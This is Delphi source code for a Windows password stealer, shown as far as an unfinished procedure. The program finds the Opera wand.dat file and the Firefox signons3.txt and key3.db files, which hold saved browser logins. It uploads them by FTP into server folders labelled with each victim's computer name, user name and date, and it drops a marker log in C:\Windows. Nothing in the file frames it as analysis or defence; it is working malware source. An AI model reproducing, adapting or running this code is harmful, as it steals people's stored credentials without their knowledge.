- 001
- 002
- 003
- 004
- 005
- 006
- 007
- 008
- 009
- 010
- 011
- 012
- 013
- 014
- 015
- 016
- 017
- 018
- 019
- 020
- 021
- 022
- 023
- 024
- 025
- 026
- 027
- 028
- 029
- 030
- 031
- 032
- 033
- 034
- 035
- 036
- 037
- 038
- 039
- 040
- 041
- 042
- 043
- 044
- 045
- 046
- 047
- 048
- 049
- 050
- 051
- 052
- 053
- 054
- 055
- 056
- 057
- 058
- 059
- 060
- 061
- 062
- 063
- 064
- 065
- 066
- 067
- 068
- 069
- 070
- 071
- 072
- 073
- 074
- 075
- 076
- 077
- 078
- 079
- 080
- 081
- 082
- 083
- 084
- 085
- 086
- 087
- 088
- 089
- 090
- 091
- 092
- 093
- 094
- 095
- 096
- 097
- 098
- 099
- 100
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
IdMessageClient, IdSMTP, StdCtrls, IdFTP,ShlObj,inifiles, ExtCtrls;
type
TForm1 = class(TForm)
IdFTP1: TIdFTP;
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
IniFile: TIniFile;
implementation
{$R *.dfm}
//==============================================================================
procedure RunOnce();
var f:TextFile;
begin
AssignFile(f,'C:\Windows\complite777.log');
Rewrite(f);
closefile(f);
end;
//==============================================================================
function GetUserName:string;
var
Buffer: array[0..MAX_PATH] of Char;
sz:DWord;
begin
sz:=MAX_PATH-1;
windows.GetUserName(Buffer,sz);
dec(sz);
SetString(Result,Buffer,sz);
end;
//==============================================================================
function GetComputerName:string;
var
S:string;
l:Cardinal;
begin
l:=256;
SetLength(S, l);
Windows.GetComputerName(PChar(S), l);
S:= Copy(S, 0, l);
Result:=S;
end;
//==============================================================================
procedure upload(cd,lf,ff:String);
begin
form1.IdFTP1.Connect(true,50000);
form1.IdFTP1.ChangeDir(cd);
form1.IdFTP1.put(lf,ff);
form1.IdFTP1.Disconnect;
end;
//==============================================================================
function GetSpecialPath(CSIDL: word): string;
var
s:string;
begin
SetLength(s, MAX_PATH);
SHGetSpecialFolderPath(0, PChar(s), CSIDL, true);
result:=PChar(s);
end;
//==============================================================================
procedure get_opp();
var
op:String;
begin
op:=GetSpecialPath($001a)+'\Opera\Opera\profile\wand.dat';
If (not FileExists(op)) Then application.Terminate
else
upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',op,'wand.dat');
end;
//==============================================================================
procedure get_ffp();
var
fp,fpg,fpg2,rpl:string;
begin
fp:=GetSpecialPath($001a)+'\Mozilla\Firefox\profiles.ini';
IniFile:=TIniFile.Create(fp);
fpg:=IniFile.ReadString('Profile0','Path','');
rpl:=StringReplace(fpg,'/','\',[rfReplaceAll, rfIgnoreCase]);
fp:=GetSpecialPath($001a)+'\Mozilla\Firefox\';
fpg:=fp+rpl+'\signons3.txt';
fpg2:=fp+rpl+'\key3.db';
If (not FileExists(fpg)) Then get_opp()
else
upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',fpg,'signons3.txt');
upload('htdocs/reports/'+GetComputerName+'_'+GetUserName+'_'+DateToStr(Date)+'/pd',fpg2,'key3.db');